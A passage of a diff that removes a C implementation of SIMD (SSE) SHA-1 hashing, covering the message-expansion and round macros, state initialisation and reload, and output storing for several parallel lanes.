-	__m128i tmp[SHA1_SSE_PARA];
-	__m128i tmp2[SHA1_SSE_PARA];
-	__m128i	cst;
-	unsigned int i,j;
-
-	for(j=16;j<80;j++)
-	{
-		SHA1_EXPAND(j);
-	}
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = _mm_set1_epi32(0x67452301);
-			b[i] = _mm_set1_epi32(0xefcdab89);
-			c[i] = _mm_set1_epi32(0x98badcfe);
-			d[i] = _mm_set1_epi32(0x10325476);
-			e[i] = _mm_set1_epi32(0xC3D2E1F0);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*80*4+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*80*4+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*80*4+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*80*4+12]);
-				e[i] = _mm_load_si128((__m128i *)&reload_state[i*80*4+16]);
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*20+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*20+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*20+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*20+12]);
-				e[i] = _mm_load_si128((__m128i *)&reload_state[i*20+16]);
-			}
-		}
-	}
-
-	cst = _mm_set1_epi32(0x5A827999);
-	SHA1_ROUND( a, b, c, d, e, SHA1_F,  0 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_F,  1 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_F,  2 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_F,  3 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_F,  4 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_F,  5 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_F,  6 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_F,  7 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_F,  8 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_F,  9 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_F, 10 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_F, 11 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_F, 12 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_F, 13 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_F, 14 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_F, 15 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_F, 16 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_F, 17 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_F, 18 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_F, 19 );
-
-	cst = _mm_set1_epi32(0x6ED9EBA1);
-	SHA1_ROUND( a, b, c, d, e, SHA1_G, 20 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_G, 21 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_G, 22 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_G, 23 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_G, 24 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_G, 25 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_G, 26 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_G, 27 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_G, 28 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_G, 29 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_G, 30 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_G, 31 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_G, 32 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_G, 33 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_G, 34 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_G, 35 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_G, 36 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_G, 37 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_G, 38 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_G, 39 );
-
-	cst = _mm_set1_epi32(0x8F1BBCDC);
-	SHA1_ROUND( a, b, c, d, e, SHA1_H, 40 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_H, 41 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_H, 42 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_H, 43 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_H, 44 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_H, 45 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_H, 46 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_H, 47 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_H, 48 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_H, 49 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_H, 50 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_H, 51 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_H, 52 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_H, 53 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_H, 54 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_H, 55 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_H, 56 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_H, 57 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_H, 58 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_H, 59 );
-
-	cst = _mm_set1_epi32(0xCA62C1D6);
-	SHA1_ROUND( a, b, c, d, e, SHA1_I, 60 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_I, 61 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_I, 62 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_I, 63 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_I, 64 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_I, 65 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_I, 66 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_I, 67 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_I, 68 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_I, 69 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_I, 70 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_I, 71 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_I, 72 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_I, 73 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_I, 74 );
-	SHA1_ROUND( a, b, c, d, e, SHA1_I, 75 );
-	SHA1_ROUND( e, a, b, c, d, SHA1_I, 76 );
-	SHA1_ROUND( d, e, a, b, c, SHA1_I, 77 );
-	SHA1_ROUND( c, d, e, a, b, SHA1_I, 78 );
-	SHA1_ROUND( b, c, d, e, a, SHA1_I, 79 );
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = _mm_add_epi32(a[i], _mm_set1_epi32(0x67452301));
-			b[i] = _mm_add_epi32(b[i], _mm_set1_epi32(0xefcdab89));
-			c[i] = _mm_add_epi32(c[i], _mm_set1_epi32(0x98badcfe));
-			d[i] = _mm_add_epi32(d[i], _mm_set1_epi32(0x10325476));
-			e[i] = _mm_add_epi32(e[i], _mm_set1_epi32(0xC3D2E1F0));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*80*4+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*80*4+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*80*4+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*80*4+12]));
-				e[i] = _mm_add_epi32(e[i], _mm_load_si128((__m128i *)&reload_state[i*80*4+16]));
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*20+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*20+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*20+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*20+12]));
-				e[i] = _mm_add_epi32(e[i], _mm_load_si128((__m128i *)&reload_state[i*20+16]));
-			}
-		}
-	}
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		SHA1_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*80*4+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*80*4+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*80*4+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*80*4+12], d[i]);
-			_mm_store_si128((__m128i *)&out[i*80*4+16], e[i]);
-		}
-	}
-	else
-	{
-		SHA1_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*20+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*20+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*20+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*20+12], d[i]);
-			_mm_store_si128((__m128i *)&out[i*20+16], e[i]);
-		}
-	}
-}
-#else /* SHA_BUF_SIZ */
-
-// JimF's code, using 16x4 words of buffer just like MD4/5
-
-#define SHA1_EXPAND2a(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( data[i*16+t-3], data[i*16+t-8] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-14] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-16] ); \
-	SHA1_PARA_DO(i) tmpR[i*16+((t)&0xF)] = _mm_roti_epi32(tmp[i], 1);
-#define SHA1_EXPAND2b(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmpR[i*16+((t-3)&0xF)], data[i*16+t-8] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-14] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-16] ); \
-	SHA1_PARA_DO(i) tmpR[i*16+((t)&0xF)] = _mm_roti_epi32(tmp[i], 1);
-#define SHA1_EXPAND2c(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmpR[i*16+((t-3)&0xF)], tmpR[i*16+((t-8)&0xF)] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-14] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-16] ); \
-	SHA1_PARA_DO(i) tmpR[i*16+((t)&0xF)] = _mm_roti_epi32(tmp[i], 1);
-#define SHA1_EXPAND2d(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmpR[i*16+((t-3)&0xF)], tmpR[i*16+((t-8)&0xF)] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], tmpR[i*16+((t-14)&0xF)] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], data[i*16+t-16] ); \
-	SHA1_PARA_DO(i) tmpR[i*16+((t)&0xF)] = _mm_roti_epi32(tmp[i], 1);
-#define SHA1_EXPAND2(t) \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmpR[i*16+((t-3)&0xF)], tmpR[i*16+((t-8)&0xF)] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], tmpR[i*16+((t-14)&0xF)] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_xor_si128( tmp[i], tmpR[i*16+((t-16)&0xF)] ); \
-	SHA1_PARA_DO(i) tmpR[i*16+((t)&0xF)] = _mm_roti_epi32(tmp[i], 1);
-
-#define SHA1_ROUND2a(a,b,c,d,e,F,t) \
-	SHA1_EXPAND2a(t+16) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], data[i*16+t] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-#define SHA1_ROUND2b(a,b,c,d,e,F,t) \
-	SHA1_EXPAND2b(t+16) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], data[i*16+t] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-#define SHA1_ROUND2c(a,b,c,d,e,F,t) \
-	SHA1_EXPAND2c(t+16) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], data[i*16+t] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-#define SHA1_ROUND2d(a,b,c,d,e,F,t) \
-	SHA1_EXPAND2d(t+16) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], data[i*16+t] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-#define SHA1_ROUND2(a,b,c,d,e,F,t) \
-	SHA1_PARA_DO(i) tmp3[i] = tmpR[i*16+(t&0xF)]; \
-	SHA1_EXPAND2(t+16) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp3[i] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-#define SHA1_ROUND2x(a,b,c,d,e,F,t) \
-	F(b,c,d) \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) tmp[i] = _mm_roti_epi32(a[i], 5); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmp[i] ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], cst ); \
-	SHA1_PARA_DO(i) e[i] = _mm_add_epi32( e[i], tmpR[i*16+(t&0xF)] ); \
-	SHA1_PARA_DO(i) b[i] = _mm_roti_epi32(b[i], 30);
-
-void SSESHA1body(__m128i* _data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	__m128i w[16*SHA1_SSE_PARA];
-	__m128i a[SHA1_SSE_PARA];
-	__m128i b[SHA1_SSE_PARA];
-	__m128i c[SHA1_SSE_PARA];
-	__m128i d[SHA1_SSE_PARA];
-	__m128i e[SHA1_SSE_PARA];
-	__m128i tmp[SHA1_SSE_PARA];
-	__m128i tmp2[SHA1_SSE_PARA];
-	__m128i tmp3[SHA1_SSE_PARA];
-	__m128i tmpR[SHA1_SSE_PARA*16];
-	__m128i	cst;
-	unsigned int i;
-	__m128i *data;
-
-	if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it MMX_COEF wise.
-#ifdef __SSE4_1__
-//#error test
-		unsigned k;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 14; ++i) { GATHER_4x (W[i], saved_key, i); SWAP_ENDIAN (W[i]); }
-				GATHER_4x (W[14], saved_key, 14);
-				GATHER_4x (W[15], saved_key, 15);
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 14; ++i) { GATHER_2x (W[i], saved_key, i); SWAP_ENDIAN (W[i]); }
-				GATHER_2x (W[14], saved_key, 14);
-				GATHER_2x (W[15], saved_key, 15);
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (i=0; i < 14; ++i) { GATHER (W[i], saved_key, i); SWAP_ENDIAN (W[i]); }
-				GATHER (W[14], saved_key, 14);
-				GATHER (W[15], saved_key, 15);
-				saved_key += (MMX_COEF<<4);
-			}
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) {
-				SWAP_ENDIAN (W[14]);
-				SWAP_ENDIAN (W[15]);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32 *)w;
-		__m128i *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32 *)_data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (MMX_COEF<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (MMX_COEF<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < MMX_COEF; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (MMX_COEF<<4);
-			}
-			for (i=0; i < 14; i++)
-				SWAP_ENDIAN (W[i]);
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) {
-				SWAP_ENDIAN (W[14]);
-				SWAP_ENDIAN (W[15]);
-			}
-			W += 16;
-		}
-#endif
-
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = _mm_set1_epi32(0x67452301);
-			b[i] = _mm_set1_epi32(0xefcdab89);
-			c[i] = _mm_set1_epi32(0x98badcfe);
-			d[i] = _mm_set1_epi32(0x10325476);
-			e[i] = _mm_set1_epi32(0xC3D2E1F0);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+12]);
-				e[i] = _mm_load_si128((__m128i *)&reload_state[i*16*4+16]);
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_load_si128((__m128i *)&reload_state[i*20+0]);
-				b[i] = _mm_load_si128((__m128i *)&reload_state[i*20+4]);
-				c[i] = _mm_load_si128((__m128i *)&reload_state[i*20+8]);
-				d[i] = _mm_load_si128((__m128i *)&reload_state[i*20+12]);
-				e[i] = _mm_load_si128((__m128i *)&reload_state[i*20+16]);
-			}
-		}
-	}
-
-	cst = _mm_set1_epi32(0x5A827999);
-	SHA1_ROUND2a( a, b, c, d, e, SHA1_F,  0 );
-	SHA1_ROUND2a( e, a, b, c, d, SHA1_F,  1 );
-	SHA1_ROUND2a( d, e, a, b, c, SHA1_F,  2 );
-	SHA1_ROUND2b( c, d, e, a, b, SHA1_F,  3 );
-	SHA1_ROUND2b( b, c, d, e, a, SHA1_F,  4 );
-	SHA1_ROUND2b( a, b, c, d, e, SHA1_F,  5 );
-	SHA1_ROUND2b( e, a, b, c, d, SHA1_F,  6 );
-	SHA1_ROUND2b( d, e, a, b, c, SHA1_F,  7 );
-	SHA1_ROUND2c( c, d, e, a, b, SHA1_F,  8 );
-	SHA1_ROUND2c( b, c, d, e, a, SHA1_F,  9 );
-	SHA1_ROUND2c( a, b, c, d, e, SHA1_F, 10 );
-	SHA1_ROUND2c( e, a, b, c, d, SHA1_F, 11 );
-	SHA1_ROUND2c( d, e, a, b, c, SHA1_F, 12 );
-	SHA1_ROUND2c( c, d, e, a, b, SHA1_F, 13 );
-	SHA1_ROUND2d( b, c, d, e, a, SHA1_F, 14 );
-	SHA1_ROUND2d( a, b, c, d, e, SHA1_F, 15 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_F, 16 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_F, 17 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_F, 18 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_F, 19 );
-
-	cst = _mm_set1_epi32(0x6ED9EBA1);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 20 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 21 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 22 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 23 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 24 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 25 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 26 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 27 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 28 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 29 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 30 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 31 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 32 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 33 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 34 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 35 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 36 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 37 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 38 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 39 );
-
-	cst = _mm_set1_epi32(0x8F1BBCDC);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 40 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 41 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 42 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 43 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 44 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 45 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 46 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 47 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 48 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 49 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 50 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 51 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 52 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 53 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 54 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 55 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 56 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 57 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 58 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 59 );
-
-	cst = _mm_set1_epi32(0xCA62C1D6);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_I, 60 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_I, 61 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_I, 62 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_I, 63 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 64 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 65 );
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 66 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 67 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 68 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 69 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 70 );
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 71 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 72 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 73 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 74 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 75 );
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 76 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 77 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 78 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 79 );
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = _mm_add_epi32(a[i], _mm_set1_epi32(0x67452301));
-			b[i] = _mm_add_epi32(b[i], _mm_set1_epi32(0xefcdab89));
-			c[i] = _mm_add_epi32(c[i], _mm_set1_epi32(0x98badcfe));
-			d[i] = _mm_add_epi32(d[i], _mm_set1_epi32(0x10325476));
-			e[i] = _mm_add_epi32(e[i], _mm_set1_epi32(0xC3D2E1F0));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+12]));
-				e[i] = _mm_add_epi32(e[i], _mm_load_si128((__m128i *)&reload_state[i*16*4+16]));
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = _mm_add_epi32(a[i], _mm_load_si128((__m128i *)&reload_state[i*20+0]));
-				b[i] = _mm_add_epi32(b[i], _mm_load_si128((__m128i *)&reload_state[i*20+4]));
-				c[i] = _mm_add_epi32(c[i], _mm_load_si128((__m128i *)&reload_state[i*20+8]));
-				d[i] = _mm_add_epi32(d[i], _mm_load_si128((__m128i *)&reload_state[i*20+12]));
-				e[i] = _mm_add_epi32(e[i], _mm_load_si128((__m128i *)&reload_state[i*20+16]));
-			}
-		}
-	}
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		SHA1_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16*4+0], a[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+12], d[i]);
-			_mm_store_si128((__m128i *)&out[i*16*4+16], e[i]);
-		}
-	}
-	else
-	{
-		SHA1_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*20+0], a[i]);
